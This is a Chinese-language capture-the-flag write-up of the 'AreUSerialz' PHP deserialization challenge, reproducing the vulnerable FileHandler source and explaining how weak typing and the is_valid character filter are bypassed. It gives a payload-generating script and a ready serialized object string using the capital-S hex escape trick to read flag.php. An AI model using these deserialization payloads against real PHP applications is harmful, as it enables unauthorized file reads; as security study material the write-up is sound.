看了网鼎杯 AreUSerialz反序列化题目wp
对php的反序列化又有了学到了新的知识点,之前都没注意到

标题题目是这样的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
<?php

include("flag.php");

highlight_file(__FILE__);

class FileHandler {

protected $op;

protected $filename;

protected $content;

function __construct() {

$op = "1";

$filename = "/tmp/tmpfile";

$content = "Hello World!";

$this->process();

}
public function process() {

if($this->op == "1") {

$this->write();

} else if($this->op == "2") {

$res = $this->read();

$this->output($res);

} else {

$this->output("Bad Hacker!");

}
}
private function write() {

if(isset($this->filename) && isset($this->content)) {

if(strlen((string)$this->content) > 100) {

$this->output("Too long!");

die();

}

$res = file_put_contents($this->filename, $this->content);

if($res) $this->output("Successful!");

else $this->output("Failed!");

} else {

$this->output("Failed!");

}

}

private function read() {

$res = "";

if(isset($this->filename)) {

$res = file_get_contents($this->filename);

}

return $res;

}



private function output($s) {

echo "[Result]: <br>";

echo $s;

}

function __destruct() {

if($this->op === "2")

$this->op = "1";

$this->content = "";

$this->process();

}
}

function is_valid($s) {

for($i = 0; $i < strlen($s); $i++)

if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))

return false;

return true;

}

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];

if(is_valid($str)) {

$obj = unserialize($str);
}
}

简单看下代码,反序列化漏洞
protect里面可控

主要是绕过 is_vaild 函数,它规定了序列化内容中只能包含ascii可见字符

还有因为在进行read()之前就会调用__destruct()魔术方法
__destruct()方法内使用了严格相等 this->op === “2” process()
方法内使用了else if ( this->op == “2”)
所以这里使用弱类型2 == “2”绕过

第一种解法

出题用的php版本比较高,public属性可以覆盖替代protected

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
class FileHandler {
public $op = 2;
public $filename = "flag.php";
public $content = "zeo";
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
$a = new FileHandler();
$b = serialize($a);

var_dump(is_valid($b));
print_r($b);

在这里插入图片描述

在这里插入图片描述

第二种解法

下面P牛之前的解释

PHP序列化的时候private和protected变量会引入不可见字符\x00,输出和复制的时候可能会遗失这些信息,导致反序列化的时候出错。

private属性序列化的时候会引入两个\x00,注意这两个\x00就是ascii码为0的字符。这个字符显示和输出可能看不到,甚至导致截断,如图1,url编码后就可以看得很清楚了。
同理,protected属性会引入\x00*\x00。

此时,为了更加方便进行反序列化Payload的传输与显示,我们可以在序列化内容中用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制表示。比如s:5:“A<null_byte>B”;̀ -> S:5:“A\00B\09\0D”;

把序列号后的s变成S就可以了,里面的字符就可以正常

1
O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:8:"flag.php";S:10:"\00*\00content";S:6:"loecho";}